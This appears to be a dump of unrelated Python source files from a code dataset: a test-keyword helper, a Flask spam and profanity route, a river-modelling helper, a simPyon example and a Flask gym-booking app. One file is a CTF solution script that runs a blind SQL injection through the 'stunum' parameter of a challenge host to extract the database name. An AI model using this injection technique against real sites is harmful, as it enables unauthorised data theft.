app()\n","repo_name":"rfunix/bloodaxe","sub_path":"bloodaxe.py","file_name":"bloodaxe.py","file_ext":"py","file_size_in_byte":9585,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"40613851937","text":"# -*- coding:utf-8 -*-\n\nimport re\nimport random\n\nfrom utils import testcase_handler\n\n\n# @ResponseDependMulti('A-002','industryNo','data')\n# @PayloadDepend('A-001','industryNam')\n\n\ndef ResponseDependMulti(case_no, keyword, dto):\n caseinfo = testcase_handler.get_case_info(case_no=case_no) # 获取当前case_no完整信息\n responsebody = eval(str(caseinfo[13]))\n if '#' not in dto:\n for data in responsebody[dto]:\n return data[str(keyword)]\n elif '#' in dto:\n jsonpath = re.split('#', dto)\n print(jsonpath)\n for i in range(len(jsonpath)):\n print(responsebody)\n if type(responsebody) == list:\n responsebody = responsebody[0][jsonpath[i]]\n else:\n responsebody = responsebody[jsonpath[i]]\n # print(responsebody[str(keyword)])\n # print(responsebody)\n if type(responsebody) == list:\n responsebody = responsebody[0][keyword]\n print(responsebody)\n return responsebody\n else:\n return responsebody[keyword]\n else:\n pass\n\n\ndef PayloadDepend(case_no, keyword):\n caseinfo = testcase_handler.get_case_info(case_no=case_no) # 获取当前case_no完整信息\n requestbody = eval(str(caseinfo[17]))\n return requestbody[keyword]\n\n\n# @RString('u','10')\n# re.search('@(.+?)\\(', str(\"@RString('u','10')\")).group(1)\n# print(re.search('@(.+?)\\(', str(\"@RString('u','10')\")).group(1))\ndef RString(flag, length):\n u_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZ'\n l_str = 'abcdefghigklmnopqrstuvwxyz'\n m_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz'\n if flag == 'u':\n \"\"\"获取指定长度的大写字母\"\"\"\n random_str = ''\n for i in range(int(length)):\n random_str += u_str[random.randint(0, len(u_str) - 1)]\n # print(random_str)\n return random_str\n elif flag == 'l':\n \"\"\"获取指定长度的小写字母\"\"\"\n random_str = ''\n for i in range(int(length)):\n random_str += l_str[random.randint(0, len(l_str) - 1)]\n # print(random_str)\n return random_str\n elif flag == 'm':\n \"\"\"获取指定长度的大小写混合字母\"\"\"\n random_str = ''\n for i in range(int(length)):\n random_str += m_str[random.randint(0, len(m_str) - 1)]\n # print(random_str)\n return random_str\n\n\ndef RNum(length):\n randstart = 10 ** (length - 1)\n randend = (10 ** length) - 1\n return random.randint(randstart, randend)\n\n\ndef test():\n pass\n","repo_name":"Bikankan/ApiAutomatic-1","sub_path":"utils/keywords.py","file_name":"keywords.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"75132183130","text":"import requests\n\nurl=\"http://ea48910f-376f-4f65-9b03-20a70766520e.node3.buuoj.cn/index.php\"\n# url=\"http://1a80bd91-ddfa-4db6-bd93-198413227815.node3.buuoj.cn/index.php?stunum=if(ascii(substr(database(),1,1))=55,1,2)\"\npayload=\"if(ascii(substr(database(),{},1))={},1,2)\"\n\n# if(ascii(substr(database(),1,1))=54,1,2)\n# if(ascii(substr(select database(),1,1))=55,1,2)\ncharacters=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_\"\nif __name__ == \"__main__\":\n result=\"\"\n for i in range(1,25):\n for ac in range(33,125):\n params={\n \"stunum\":payload.format(i,ac)\n }\n response=requests.get(url=url,params=params)\n # response=requests.get(url=url)\n # print(response.text)\n if(\"Hi admin\" in response.text):\n result+=chr(ac)\n # print(ac)\n print(result)","repo_name":"lurenxiao1998/CTFOJ","sub_path":"[WUSTCTF2020]颜值成绩查询/payload.py","file_name":"payload.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41883448548","text":"from flask import request, jsonify\nfrom chat.api import api_bp\nimport pickle\nimport re\n\n\nclass TextSpamClassifier():\n def __init__(self) -> None:\n with open('notebooks/spam_filter/model_spam.pickle', 'rb') as handle:\n self.model = pickle.load(handle)\n with open('notebooks/spam_filter/vectorizer_spam.pickle',\n 'rb') as handle:\n self.vectorizer = pickle.load(handle)\n\n def __preprocess_text(self, text):\n text = text.lower()\n text = re.sub(r\"[^a-zA-Z0-9]\", \" \", text)\n text = text.strip()\n text = text.split()\n text = ' '.join(list(filter(lambda x: x not in ['', ' '], text)))\n return text\n\n def predict_proba(self, X):\n val = self.__preprocess_text(X)\n val = self.vectorizer.transform([val])\n prob = self.model.predict_proba(val)[0][1]\n return prob\n\n\nclass TextProfanityClassifier():\n def __init__(self) -> None:\n with open('notebooks/profanity_filter/model_profanity.pickle',\n 'rb') as handle:\n self.model = pickle.load(handle)\n with open('notebooks/profanity_filter/vectorizer_profanity.pickle',\n 'rb') as handle:\n self.vectorizer = pickle.load(handle)\n\n def __preprocess_text(self, text):\n text = text.lower()\n text = re.sub(r\"[^a-zA-Z0-9]\", \" \", text)\n text = text.strip()\n text = text.split()\n text = ' '.join(list(filter(lambda x: x not in ['', ' '], text)))\n return text\n\n def predict_proba(self, X):\n val = self.__preprocess_text(X)\n val = self.vectorizer.transform([val])\n prob = self.model.predict(val)[0]\n return prob\n\n\n@api_bp.route('/text-validate', methods=['POST'])\ndef text_chat_validate():\n message = request.form.get('message')\n tsc = TextSpamClassifier()\n tpc = TextProfanityClassifier()\n spam_text = \"Not a spam!\"\n prof_text = \"No profane!\"\n if tpc.predict_proba(message) != 0:\n prof_text = \"Highly profane!\"\n if tsc.predict_proba(message) > 0.8:\n spam_text = \"Highly spam!\"\n elif tsc.predict_proba(message) > 0.6:\n spam_text = \"Slightly spam!\"\n elif tsc.predict_proba(message) > 0.4:\n spam_text = \"Less spam!\"\n elif tsc.predict_proba(message) > 0.2:\n spam_text = \"I don't think spam!\"\n\n prof_prob = tpc.predict_proba(message)\n if prof_prob > 0.5:\n prof_text = \"Profane text!\"\n\n return jsonify({\n \"spam_text\": f\"{spam_text}\",\n \"prof_text\": f\"{prof_text}\",\n \"status\": \"success\"\n })\n","repo_name":"indic-amigo-akademi/moraliser","sub_path":"chat/api/chat_route.py","file_name":"chat_route.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4269888887","text":"#!/usr/bin/python\nimport random\ntry:\n from cParameters import *\n from cReadInpLifespan import *\n sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) + \"\\\\.site_packages\\\\riverpy\\\\\")\n import fGlobal as fGl\n import config\n import cThresholdDirector as cT\n import cDefinitions\nexcept:\n print(\"ExceptionERROR: Cannot find package files (/.site_packages/riverpy/).\")\n\ntry:\n import arcpy\nexcept:\n print(\"ExceptionERROR: arcpy is not available (check license connection?)\")\ntry:\n from arcpy.sa import *\nexcept:\n print(\"ExceptionERROR: Spatial Analyst (arcpy.sa) is not available (check license?)\")\n\n\ndef create_bed_shear(self, condition1):\n self.features = cDefinitions.FeatureDefinitions()\n self.feature_reader = cDefinitions.FeatureReader()\n self.thresh_xlsx = config.xlsx_thresholds\n\n try:\n self.wb = oxl.load_workbook(filename=self.thresh_xlsx, read_only=True, data_only=True)\n wb_open = True\n except:\n wb_open = False\n self.logger.info(\"ERROR: Could not open threshold_values.xlsx.\")\n try:\n if wb_open:\n self.ws = self.wb['thresholds']\n else:\n self.ws = \"\"\n except:\n self.logger.info(\"ERROR: Could not find sheet \\'thresholds\\' in threshold_values.xlsx.\")\n\n self.thresh_row_dict = self.feature_reader.get_rows()\n unit_cell = self.ws.cell(row=self.thresh_row_dict['unit'], column=5).value\n\n print(unit_cell)\n __n__ = 0.0473934\n\n if unit_cell == \"U.S. customary\":\n self.ft2m = config.ft2m\n self.ft2in = 12 # (in/ft) conversion factor for U.S. customary units\n self.n = __n__ / 1.49 # (s/ft^(1/3)) global Manning's n where k =1.49 converts to US customary\n self.n_label = \"s/ft^(1/3)\"\n self.rho_w = 1.937 # slug/ft^3\n else:\n self.ft2m = 1.0\n self.ft2in = 1 # (in/ft) dummy conversion factor in SI\n self.n = __n__ # (s/m^(1/3)) global Manning's n\n self.n_label = \"s/m^(1/3)\"\n self.rho_w = 1000 # kg/m^3\n\n self.g = 9.81 / self.ft2m # (ft/s2) gravity acceleration\n self.s = 2.68 # (--) relative grain density (ratio of rho_s and rho_w)\n self.sf = 0.99\n dir_tb = config.dir2conditions + condition1 + \"\\\\tb\\\\\"\n dir_ts = config.dir2conditions + condition1 + \"\\\\ts\\\\\"\n\n os.mkdir(dir_ts)\n os.mkdir(dir_tb)\n\n h = FlowDepth(condition1)\n u = FlowVelocity(condition1)\n grains = GrainSizes(condition1)\n if str(grains.raster).__len__() > 1:\n tx_raster_list = []\n for i in range(0, h.raster_names.__len__()):\n if (str(u.rasters[i]).__len__() > 1) and (str(h.rasters[i]).__len__() > 1):\n _q_ = fGl.read_Q_str(h.raster_names[i], prefix='h')\n _name__ = 'tb' + fGl.write_Q_str(_q_) + '.tif'\n name__ = 'ts' + fGl.write_Q_str(_q_) + '.tif'\n _ras__ = Square(u.rasters[i] / (5.75 * Log10(12.2 * h.rasters[i] / (2 * 2.2 * grains.raster))))\n arcpy.CopyRaster_management(_ras__, dir_tb + _name__)\n __ras__ = (self.rho_w * _ras__) / (self.rho_w * self.g * (self.s - 1) * grains.raster)\n arcpy.CopyRaster_management(__ras__, dir_ts + name__)\n tx_raster_list.append(__ras__)\n\n","repo_name":"RiverArchitect/program","sub_path":"LifespanDesign/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"7808298572","text":"import simPyon as sim\nimport numpy as np\n# To run this file must be in the same folder as \n\ndef main():\n\t# Load up some voltages\n\tvolts = np.load('volts_de_e_1_330_3.npy').item()\n\n\t# Load Simion command environment\n\timap = sim.simion()\n\n\t# mannually input voltages\n\timap.define_volts()\n\n\t# Fast Adjust voltages \n\timap.fast_adjust(elec_dict = volts) # if volts was loaded\n\timap.fast_adjust() #if voltages were input mannually\n\n\t# Define Line distributions for source\n\tline_1 = [np.array([260,156,0]),np.array([270,106,0])]\n\tline_2 = [np.array([99.4,133,0])+10,np.array([158.9,116.8,0])+10]\n\n\t# Print particle source description\n\tprint(imap.parts())\n\n\t# Change distribution type\n\t# imap.parts.pos = sim.particles.source('gaussian')\n\n\t# Change Distribution inputs\n\timap.parts.pos.dist_vals['first'] = line_1[0]\n\timap.parts.pos.dist_vals['last'] = line_1[1]\n\n\t# Fly Particles with souce line_1 and store in data_line_1\n\tdata_line_1 = imap.fly(10000).data\n\n\t# Chance source location to line_2 and fly\n\timap.parts.pos.dist_vals['first'] = line_2[0]\n\timap.parts.pos.dist_vals['last'] = line_2[1]\n\tdata_line_2 = imap.fly(10000).data\n\n\t# Show Simion Geometry and last flown particles\n\timap.show()\n\t# enable measurement mode\n\timap.show(measure = True)\n\n\t# Plot distributions of flow data\n\tdata_line_2.show()\n\tdata_line_1.show()\n\nif __name__ =='__main__':\n\tmain()","repo_name":"jonbowr/simPyon","sub_path":"examples/sim_init.py","file_name":"sim_init.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"72118399451","text":"import datetime as dt\nfrom functools import reduce\n\nimport qrcode\nimport pdfkit\nfrom flask import render_template, redirect, url_for, flash, request\nfrom flask_login import login_required, current_user\n\nfrom . import main\nfrom .tables import ActivityTable, FacilityTable\nfrom .forms import *\nfrom ..models import *\nfrom .. import db\nfrom ..decorators import admin_required, permission_required\nfrom ..email import send_email\n\n\n@main.route('/')\ndef index():\n if current_user.is_administrator():\n return render_template('admin/index.html')\n return render_template('index.html')\n\n\n@main.route('/facility')\ndef facility():\n facilities = Facility.query.all()\n return render_template('facilities.html', facilities=facilities)\n\n\n@main.route('/facility_info/')\ndef view_info(id):\n facility = Facility.query.filter_by(id=id).first()\n return render_template('facility_info.html', facility=facility)\n\n\n@main.route('/membership')\ndef view_membership_type():\n memberships = MembershipType.query.all()\n return render_template('membership.html', memberships=memberships)\n\n\n@main.route('/my_bookings/')\n@login_required\n@permission_required(Permission.DISPLAY)\ndef display_my_bookings(id):\n account = User.query.get_or_404(id)\n bookings = Booking.query.order_by(Booking.timestamp.desc()).filter_by(account_id=account.id).all()\n start_time = []\n end_time = []\n for booking in bookings:\n timetable = TimeManagement.query.filter_by(booking_id=booking.id).get()\n start_time.append(timetable.start_time)\n end_time.append(timetable.end_time)\n return render_template('my_booking.html', bookings=bookings)\n\n\n@main.route('/pricing_list')\ndef display_pricing_list():\n return render_template('pricing_list.html', facilities=Facility.query.all())\n\n\n@main.route('/activities//book', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.PAY)\ndef book_activity(id):\n form = BookActivityForm(activity=Activity.query.get(id))\n if form.validate_on_submit():\n return render_template('book_activity_instance.html', instance_id=form.activity_instance_id.data)\n return render_template('book_activity.html', form=form)\n\n\n@main.route('/activity-instances//book', methods=['GET', 'POST'])\ndef book_activity_instance(instance_id):\n form = SelectPaymentForm(cards=current_user.cards)\n instance = ActivityInstance.query.get_or_404(instance_id)\n if form.validate_on_submit():\n booking = Booking(activity_instance_id=instance_id,\n status='Paid',\n user_id=current_user.id)\n db.session.add(booking)\n db.session.commit()\n return render_template('booking_success.html', booking=booking)\n return render_template('book_activity_instance.html', form=form, instance=instance)\n\n\n@main.route('/book/', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.PAY)\ndef book_facility(type):\n if type == 1:\n facility = \"Swimming pool\"\n form = PoolBookingForm()\n elif type == 2:\n facility = \"Fitness room\"\n form = FitnessBookingForm()\n elif type == 3:\n facility = \"Squash courts\"\n form = SquashBookingForm()\n else:\n facility = \"Sports hall\"\n form = HallBookingForm()\n\n if form.validate_on_submit():\n activity = form.activity.data\n number = form.number.data\n date = form.date.data\n start_time = form.start_time.data\n end_time = form.end_time.data\n payment = form.payment.data\n\n fac = Facility.query.filter_by(name=facility).first()\n act = fac.activities.query.filter_by(activity_name=activity).first()\n price = act.activity_price\n\n if end_time - start_time != 1:\n flash('You can only book a 1-hour session')\n return redirect(url_for('.book_facility', type=type))\n\n timetables = TimeManagement.query.filter_by(date=date).all()\n for timetable in timetables:\n if start_time == timetable.start_time:\n id = timetable.id\n\n timetable = TimeManagement.query.filter_by(id=id).get()\n\n if number + timetable.current_capacity > fac.capacity:\n flash('Your have too many people!')\n return redirect(url_for('.book_facility', type=type))\n\n else:\n act.weekly_income = act.weekly_income + price\n act.weekly_usage = act.weekly_usage + number\n db.session.add(act)\n db.session.commit()\n\n booking = Booking(number=number,\n time_id=timetable.id,\n activity=activity,\n status=\"Unpaid\",\n payment=payment,\n fees=price)\n db.session.add(booking)\n db.session.commit()\n\n account = Account.query.filter_by(user_id=current_user.id).first()\n book = Booking.query.order_by(Booking.timestamp.desc()).filter_by(account_id=account.id).first_or_404()\n\n timetable.current_capacity = number + timetable.current_capacity\n db.session.add(timetable)\n db.session.commit()\n\n if payment == \"Credit Card\":\n flash('Pay for your booking.')\n return redirect(url_for('.handle_card_booking'), book_id=book.id)\n elif payment == \"Cash\":\n flash('You will pay for your booking by cash.')\n return redirect(url_for('.index'))\n\n return render_template('book.html', form=form)\n\n\n'''\n@main.route('/book_season', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.PAY)\ndef book_regular():\n form = RegularBookForm()\n if form.validate_on_submit():\n date = form.date.data\n start_time = form.start_time.data\n end_time = form.end_time.data\n'''\n\n\n@main.route('/handle_card_booking/', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.HANDLE)\ndef handle_card_booking(book_id):\n account = Account.query.filter_by(user_id=current_user.id).first()\n card = CreditCardInfo.query.filter_by(account_id=account.id).first()\n book = Booking.query.filter_by(id=book_id).first()\n form = CardForm()\n\n if form.validate_on_submit():\n card_info = CreditCardInfo(card_number=form.card_number.data,\n expire_month=form.expire_month.data,\n expire_year=form.expire_year.data,\n security_code=form.security_code.data,\n holder_name=form.holder_name.data,\n account_id=id\n )\n if card is not None:\n form.card_number.data = card.card_number\n form.expire_month.data = card.expire_month\n form.expire_year.data = card.expire_year\n form.security_code.data = card.security_code\n form.holder_name.data = card.holder_name\n db.session.add(card_info)\n db.session.commit()\n book.status = \"Paid\"\n db.session.add(book)\n db.session.commit()\n\n receipt = book.activity + '\\n' + book.time.date + '\\n' + book.time.start_time + '~' + book.time.end_time + '\\n'\n pdf_name = str(book.id) + '.pdf'\n pdfkit.from_string(receipt, pdf_name)\n\n qr = qrcode.QRCode(\n version=1,\n error_correction=qrcode.constants.ERROR_CORRECT_L,\n box_size=10,\n border=4,\n )\n\n qr.add_data(\n book.activity + '\\n' + book.time.date + '\\n' + book.time.start_time + '~' + book.time.end_time + '\\n')\n qr.make(fit=True)\n\n img = qr.make_image(fill_color=\"black\", back_color=\"white\")\n\n send_email(current_user.email, 'Your booking receipt',\n 'booking_receipt', book=book, img=img)\n flash('A booking receipt has been sent to you by email.')\n return render_template('handle_card_booking.html', book=book, form=form)\n\n\n@main.route('/bookings//cancel', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.CANCEL)\ndef cancel_booking(id):\n booking = Booking.query.get_or_404(id)\n form = SelectPaymentForm(cards=current_user.cards)\n if form.validate_on_submit():\n db.session.delete(booking)\n db.session.commit()\n return redirect(url_for('.display_user_bookings'))\n return render_template('cancel_booking.html', form=form, booking=booking)\n\n\n@main.route('/pay_membership/', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.PAY)\ndef pay_membership(type_id):\n membership_type = MembershipType.query.query.filter_by(id=type_id).get()\n account = Account.query.filter_by(user_id=current_user.id).first()\n form = PurchaseMembershipForm()\n if form.validate_on_submit():\n membership = Membership(title=form.title.data,\n status=\"Unpaid\",\n firstname=form.firstname.data,\n lastname=form.lastname.data,\n payment=form.payment.data,\n account_id=account.id,\n membership_type_id=membership_type.id\n )\n db.session.add(membership)\n db.session.commit()\n\n if (membership_type.length == 3):\n length = 30\n elif (membership_type.length == 3):\n length = 90\n else:\n length = 365\n membership.valueOfEnd_date(length)\n db.session.commit()\n\n flash('Thanks! You have become our membership!')\n return redirect(url_for('handle_card_membership', id=account.id))\n return render_template('pay_membership.html', form=form, membership_type=membership_type)\n\n\n@main.route('/handle_card_membership/', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.HANDLE)\ndef handle_card_membership(id):\n membership = Membership.query.filter_by(account_id=id).first()\n card = CreditCardInfo.query.filter_by(account_id=id).first()\n form = CardForm()\n membership_type = MembershipType.query.filter_by(id=membership.membership_type_id).first()\n price = membership_type.id\n if form.validate_on_submit():\n card_info = CreditCardInfo(card_number=form.card_number.data,\n expire_month=form.expire_month.data,\n expire_year=form.expire_year.data,\n security_code=form.security_code.data,\n holder_name=form.holder_name.data,\n account_id=id\n )\n if card is not None:\n form.card_number.data = card.card_number\n form.expire_month.data = card.expire_month\n form.expire_year.data = card.expire_year\n form.security_code.data = card.security_code\n form.holder_name.data = card.holder_name\n db.session.add(card_info)\n db.session.commit()\n membership.status = \"Paid\"\n db.session.add(membership)\n db.session.commit()\n send_email(current_user.email, 'Your booking receipt',\n 'booking_receipt', membership=membership)\n flash('A booking receipt has been sent to you by email.')\n return render_template('handle_card_membership.html', price=price, form=form)\n\n\n@main.route('/configure_facility', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.CONFIGURE)\ndef configure_facility():\n form = ConfigureFacilityForm()\n if form.validate_on_submit():\n operation = form.operation.data\n capacity = form.capacity.data\n name = form.name.data\n url = form.url.data\n description = form.description.data\n\n if operation == \"add\":\n facility = Facility(name=name,\n url=url,\n capacity=capacity,\n description=description)\n db.session.add(facility)\n db.session.commit()\n flash('You have added the facility')\n\n elif operation == \"edit\":\n fac = Facility.query.filter_by(name=name).get()\n fac.capacity = capacity\n fac.url = url\n fac.description = description\n\n db.session.add(fac)\n db.session.commit()\n flash('You have edited the facility')\n\n elif operation == \"delete\":\n fac = Facility.query.filter_by(name=name).get()\n db.session.delete(fac)\n db.session.commit()\n flash('You have deleted the facility')\n\n return render_template('configure_facility.html', form=form)\n\n\n@main.route('/configure_activity', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.CONFIGURE)\ndef configure_activity():\n form = ConfigureActivityForm()\n if form.validate_on_submit():\n operation = form.operation.data\n facility = form.facility.data\n activity = form.activity.data\n price = form.price.data\n\n fac = Facility.query.filter_by(name=facility).get\n if operation == \"add\":\n act = Activity(weekly_income=0,\n weekly_usage=0,\n activity_price=price,\n activity_name=activity,\n facility_id=fac.id\n )\n db.session.add(act)\n db.session.commit()\n flash('You have added the activity')\n\n elif operation == \"edit\":\n act = Activity.query.filter_by(activity_name=activity).get()\n act.activity_price = price,\n act.activity_name = activity\n act.facility_id = fac.id\n\n db.session.add(act)\n db.session.commit()\n flash('You have edited the activity')\n\n elif operation == \"delete\":\n act = Activity.query.filter_by(activity_name=activity).get()\n db.session.delete(act)\n db.session.commit()\n flash('You have deleted the activity')\n\n return render_template('configure_activity.html', form=form)\n\n\n@main.route('/configure_timetable')\n@login_required\n@permission_required(Permission.CONFIGURE)\ndef configure_timetable():\n form = ConfigureTimetableForm()\n if form.validate_on_submit():\n date = form.date.data\n start_time = form.start_time.data\n end_time = form.end_time.data\n facility = form.facility.data\n\n fac = Facility.query.filter_by(name=facility).get()\n\n for i in range(start_time, end_time):\n timetable = TimeManagement(date=date,\n start_time=i,\n end_time=i + 1,\n facility_id=fac.id)\n db.session.add(timetable)\n db.session.commit()\n\n return render_template('configure_timetable.html', form=form)\n\n\n@main.route('/facilities')\ndef display_facilities():\n facilities = Facility.query.all()\n template = 'admin/facilities.html' if current_user.is_administrator() else 'facilities.html'\n return render_template(template, facilities=facilities)\n\n\n@main.route('/membership-types')\ndef display_membership_types():\n memberships = MembershipType.query.all()\n template = 'admin/membership_types.html' if current_user.is_administrator() else 'membership.html'\n return render_template(template, membership_types=memberships)\n\n\n@main.route('/membership-types//purchase', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.PAY)\ndef purchase_membership(type):\n membership_type = MembershipType.query.get_or_404(type)\n form = SelectPaymentForm(cards=current_user.cards)\n\n if form.validate_on_submit():\n membership = Membership(membership_type_id=type, user_id=current_user.id)\n db.session.add(membership)\n\n if form.payment_card.data == SelectPaymentForm.NEW_CARD_CHOICE[0]:\n card_form = form.new_payment_card\n new_card = CreditCardInfo(\n holder_name=card_form.cardholder_name.data,\n card_number=card_form.card_number.data,\n expire_month=card_form.expiry_date.expiry_month.data,\n expire_year=card_form.expiry_date.expiry_year.data,\n security_code=card_form.security_code.data,\n user_id=current_user.id\n )\n db.session.add(new_card)\n flash('Card successfully added to your account.')\n\n db.session.commit()\n flash('Thanks! You have successfully purchased a {} membership.'.format(membership_type.name))\n return redirect(url_for('main.index'))\n\n return render_template('pay_membership.html', membership_type=membership_type, form=form)\n\n\n@main.route('/my/bookings')\n@login_required\ndef display_user_bookings():\n return render_template('my_booking.html', bookings=current_user.bookings)\n\n\n@main.route('/my_card/')\n@login_required\n@permission_required(Permission.DISPLAY)\ndef display_cards(id):\n user = User.query.filter_by(id=id).first()\n cards = CreditCardInfo.query.filter_by(user_id=user.id).all()\n return render_template('my_card.html', cards=cards)\n\n\n@main.route('/my/membership')\n@login_required\n@permission_required(Permission.DISPLAY)\ndef display_membership():\n membership = Membership.query.filter_by(user_id=current_user.id).first()\n membership_type = MembershipType.query.filter_by(id=membership.membership_type_id).first() if membership else None\n return render_template('my_membership.html', membership=membership, membership_type=membership_type)\n\n\n@main.route('/timetable')\ndef timetable_all():\n date = request.args.get('date', default=datetime.today(), type=dt.datetime)\n end_of_day = datetime(\n year=date.year,\n month=date.month,\n day=date.day + 1,\n hour=0,\n minute=0,\n second=0\n )\n activity_instances = ActivityInstance.query \\\n .filter(ActivityInstance.start_time >= date, ActivityInstance.end_time < end_of_day) \\\n .order_by(ActivityInstance.start_time) \\\n .all()\n\n activity_instances_by_facility = {facility.name: [] for facility in Facility.query.all()}\n for instance in activity_instances:\n activity_instances_by_facility[instance.activity.facility.name].append(instance)\n\n return render_template('timetable_all.html', activity_instances=activity_instances_by_facility)\n\n\n@main.route('/facilities//timetable')\ndef timetable_facility(id):\n facility = Facility.query.get_or_404(id)\n activity_instances = reduce(list.__add__, [activity.instances.order_by(ActivityInstance.start_time).all() for activity in facility.activities.all()])\n return render_template('timetable_all.html', activity_instances={facility.name: activity_instances})\n\n\n# @main.route('/timetable_facility/')\n# def timetable_facility(type):\n# if type == 1:\n# facility = \"Swimming pool\"\n# elif type == 2:\n# facility = \"Fitness room\"\n# elif type == 3:\n# facility = \"Squash courts\"\n# else:\n# facility = \"Sports hall\"\n#\n# facility = Facility.query.filter_by(name=facility).all()\n# today = dt.date.today()\n# day2 = today + dt.timedelta(days=1)\n# day3 = today + dt.timedelta(days=2)\n# day4 = today + dt.timedelta(days=3)\n# day5 = today + dt.timedelta(days=4)\n# timetable1 = TimeManagement.query.filter_by(start_time=today).all()\n# timetable2 = TimeManagement.query.filter_by(start_time=day2).all()\n# timetable3 = TimeManagement.query.filter_by(start_time=day3).all()\n# timetable4 = TimeManagement.query.filter_by(start_time=day4).all()\n# timetable5 = TimeManagement.query.filter_by(start_time=day5).all()\n# return render_template('timetable_facility.html', type=type + 1, today=today, day3=day3, day2=day2, day4=day4,\n# day5=day5, facility=facility, timetable1=timetable1, timetable2=timetable2,\n# timetable3=timetable3, timetable4=timetable4, timetable5=timetable5)\n\n\n@main.route('/my/membership/cancel', methods=['GET', 'POST'])\n@login_required\ndef cancel_membership():\n membership = current_user.membership\n if membership is None:\n return redirect(url_for('main.display_membership'))\n timedelta = membership.get_end_date() - dt.datetime.now()\n days_left = timedelta.days\n money_refund = 0.9 * (days_left / membership.membership_type.length) * membership.membership_type.price\n form = SelectPaymentForm(cards=current_user.cards)\n if form.validate_on_submit():\n db.session.delete(membership)\n db.session.commit()\n flash('You have cancelled our membership!')\n return redirect(url_for('main.display_membership'))\n return render_template('cancel_membership.html', money_refund=money_refund, days_left=days_left,\n membership=membership, form=form)\n\n\n@main.route('/user/')\ndef user(username):\n user = User.query.filter_by(username=username).first_or_404()\n return render_template('user.html', user=user)\n\n\n@main.route('/search_booking')\n@login_required\n@permission_required(Permission.CANCEL)\ndef search_booking():\n form = SearchForm()\n if form.validate_on_submit():\n email = form.eamil.data\n\n user = User.query.filter_by(email=email).get()\n return redirect(url_for('display_bookings', id=user.id))\n return render_template('search_booking.html', form=form)\n\n\n@main.route('/search_membership')\n@login_required\n@permission_required(Permission.CANCEL)\ndef search_membership():\n form = SearchForm()\n if form.validate_on_submit():\n email = form.eamil.data\n\n user = User.query.filter_by(email=email).get()\n return redirect(url_for('display_membership', id=user.id))\n return render_template('search_membership.html', form=form)\n\n\n@main.route('/view_income')\n@login_required\n@permission_required(Permission.VIEW_BUSINESS)\ndef view_income():\n \"\"\"income_facility1 = 0\n income_facility2 = 0\n income_facility3 = 0\n income_facility4 = 0\n\n today = datetime.date.today()\n day1 = today - datetime.timedelta(days=1)\n day2 = today - datetime.timedelta(days=2)\n day3 = today - datetime.timedelta(days=3)\n day4 = today - datetime.timedelta(days=4)\n day5 = today - datetime.timedelta(days=5)\n day6 = today - datetime.timedelta(days=6)\n\n timetable1 = Time_management.query.filter_by(date=today).all()\n timetable2 = Time_management.query.filter_by(date=day1).all()\n timetable3 = Time_management.query.filter_by(date=day2).all()\n timetable4 = Time_management.query.filter_by(date=day3).all()\n timetable5 = Time_management.query.filter_by(date=day4).all()\n timetable6 = Time_management.query.filter_by(date=day5).all()\n timetable7 = Time_management.query.filter_by(date=day6).all()\n\n for timetable in timetable1:\n if timetable.facility == 1:\n booking = Booking.query.filter_by(id=timetable.booking_id).get()\n income_facility1 += booking.fees\n\"\"\"\n overall_income = 0\n overall_usage = 0\n activities = Activity.query.all()\n for activity in activities:\n overall_income += activity.weekly_income\n overall_usage += activity.weekly_usage\n return render_template('business.html', overall_income=overall_income,\n overall_usage=overall_usage, activities=activities)\n\n\n@admin_required\n@main.route('/users')\ndef display_users():\n return render_template('admin/users.html', users=User.query.all())\n\n\n@admin_required\n@main.route('/users/new', methods=['GET', 'POST'])\ndef add_user():\n form = EditUserForm()\n if form.validate_on_submit():\n user = User(email=form.email.data.lower(),\n username=form.username.data,\n password=form.password.data,\n role_id=form.role.data.id)\n db.session.add(user)\n db.session.commit()\n flash('User successfully added to database.')\n return redirect(url_for('.display_users'))\n return render_template('admin/edit_user.html', form=form)\n\n\n@admin_required\n@main.route('/activity-instances')\ndef display_activity_instances():\n return render_template('admin/activity_instances.html', activity_instances=ActivityInstance.query.all())\n\n\n@admin_required\n@main.route('/activity-instances/new', methods=['GET', 'POST'])\ndef add_activity_instance():\n form = EditActivityInstanceForm()\n if form.validate_on_submit():\n instance = ActivityInstance(\n start_time=form.start_time.data,\n end_time=form.end_time.data,\n activity_id=form.activity_id.data,\n court_id=form.court_id.data\n )\n db.session.add(instance)\n db.session.commit()\n flash('Activity instance successfully added to database.')\n return redirect(url_for('.display_activity_instances'))\n return render_template('admin/edit_activity_instance.html', form=form)\n\n\n@admin_required\n@main.route('/memberships')\ndef display_memberships():\n return render_template('admin/memberships.html', memberships=Membership.query.all())\n\n\n@admin_required\n@main.route('/memberships/new', methods=['GET', 'POST'])\ndef add_membership():\n form = EditMembershipForm()\n if form.validate_on_submit():\n membership = Membership(\n membership_type_id=form.membership_type_id.data,\n user_id=form.user_id.data\n )\n db.session.add(membership)\n 